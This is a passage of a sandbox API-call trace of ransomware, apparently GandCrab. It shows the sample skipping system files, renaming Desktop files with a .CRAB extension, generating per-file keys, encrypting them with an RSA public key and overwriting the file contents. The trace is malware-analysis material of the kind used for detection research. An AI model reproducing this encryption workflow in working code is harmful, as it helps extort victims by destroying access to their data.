	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="bootsect.bak") returned 1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="boot.ini") returned 1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="ntuser.dat.log") returned 1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="thumbs.db") returned -1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.313] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.313] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB") returned 50
	[0125.313] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sxnzn9rs_0a.gif")) returned 0x20
	[0125.313] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif", dwFileAttributes=0x20) returned 1
	[0125.314] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sxnzn9rs_0a.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sxnzn9rs_0a.gif.crab")) returned 1
	[0125.315] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.315] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB"
	[0125.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB.CRAB"
	[0125.316] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0125.316] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.317] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.317] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.317] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0125.317] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.317] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.317] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.318] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.318] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.318] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.318] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.318] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.319] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.319] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0125.320] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158580) returned 1
	[0125.320] CryptGetKeyParam (in: hKey=0x3158580, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.320] CryptEncrypt (in: hKey=0x3158580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.321] GetLastError () returned 0x0
	[0125.321] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.321] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0125.321] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158500) returned 1
	[0125.322] CryptGetKeyParam (in: hKey=0x3158500, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.322] CryptEncrypt (in: hKey=0x3158500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.322] GetLastError () returned 0x0
	[0125.322] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.322] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\sxnzn9rs_0a.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.323] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.323] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.324] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x3337, lpOverlapped=0x0) returned 1
	[0125.336] VirtualAlloc (lpAddress=0x0, dwSize=0x3340, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.337] VirtualAlloc (lpAddress=0x0, dwSize=0x3340, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.338] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.338] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffccc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.338] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x3340, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x3340, lpOverlapped=0x0) returned 1
	[0125.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.339] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.342] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.342] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.343] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.343] CloseHandle (hObject=0x3e8) returned 1
	[0125.343] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.343] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.343] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.344] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.344] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.344] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.345] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.345] lstrcmpW (lpString1="UBQHStBxOC.swf", lpString2=".") returned 1
	[0125.345] lstrcmpW (lpString1="UBQHStBxOC.swf", lpString2="..") returned 1
	[0125.345] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="UBQHStBxOC.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf"
	[0125.345] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.345] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf") returned 44
	[0125.345] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf") returned 44
	[0125.345] lstrlenW (lpString=".swf") returned 4
	[0125.345] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.345] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0125.346] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.346] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf") returned 44
	[0125.346] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf") returned 44
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="desktop.ini") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="autorun.inf") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="ntuser.dat") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="iconcache.db") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="bootsect.bak") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="boot.ini") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="ntuser.dat.log") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="thumbs.db") returned 1
	[0125.346] lstrcmpiW (lpString1="UBQHStBxOC.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.346] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.347] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB") returned 49
	[0125.347] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ubqhstbxoc.swf")) returned 0x20
	[0125.347] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf", dwFileAttributes=0x20) returned 1
	[0125.347] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ubqhstbxoc.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ubqhstbxoc.swf.crab")) returned 1
	[0125.348] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.348] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB"
	[0125.348] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB.CRAB"
	[0125.349] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0125.350] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.350] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.350] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.350] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.350] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.351] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.351] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.352] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.352] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.352] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.352] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.352] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.352] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.353] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0125.353] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31587c0) returned 1
	[0125.353] CryptGetKeyParam (in: hKey=0x31587c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.353] CryptEncrypt (in: hKey=0x31587c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.354] GetLastError () returned 0x0
	[0125.354] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.354] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.354] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158140) returned 1
	[0125.354] CryptGetKeyParam (in: hKey=0x3158140, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.354] CryptEncrypt (in: hKey=0x3158140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.355] GetLastError () returned 0x0
	[0125.355] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.355] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\UBQHStBxOC.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ubqhstbxoc.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.355] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.356] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.356] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x14397, lpOverlapped=0x0) returned 1
	[0125.372] VirtualAlloc (lpAddress=0x0, dwSize=0x143a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.374] VirtualAlloc (lpAddress=0x0, dwSize=0x143a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.377] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.377] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffebc69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.377] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x143a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x143a0, lpOverlapped=0x0) returned 1
	[0125.378] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.378] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.383] CloseHandle (hObject=0x3e8) returned 1
	[0125.383] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.384] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.384] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.384] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.385] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.385] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.385] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.385] lstrcmpW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2=".") returned 1
	[0125.385] lstrcmpW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="..") returned 1
	[0125.386] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="uPzP1fSCYo9DQgW.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv"
	[0125.386] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.386] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv") returned 49
	[0125.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv") returned 49
	[0125.386] lstrlenW (lpString=".mkv") returned 4
	[0125.386] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.386] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0125.386] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv") returned 49
	[0125.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv") returned 49
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="desktop.ini") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="autorun.inf") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="ntuser.dat") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="iconcache.db") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="bootsect.bak") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="boot.ini") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="ntuser.dat.log") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="thumbs.db") returned 1
	[0125.387] lstrcmpiW (lpString1="uPzP1fSCYo9DQgW.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.387] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.387] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB") returned 54
	[0125.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\upzp1fscyo9dqgw.mkv")) returned 0x20
	[0125.388] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv", dwFileAttributes=0x20) returned 1
	[0125.388] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\upzp1fscyo9dqgw.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\upzp1fscyo9dqgw.mkv.crab")) returned 1
	[0125.389] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.389] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB"
	[0125.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uPzP1fSCYo9DQgW.mkv.CRAB.CRAB"
	[0125.389] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.390] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.390] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.391] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.391] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.391] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.391] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.391] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.392] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.392] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.392] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
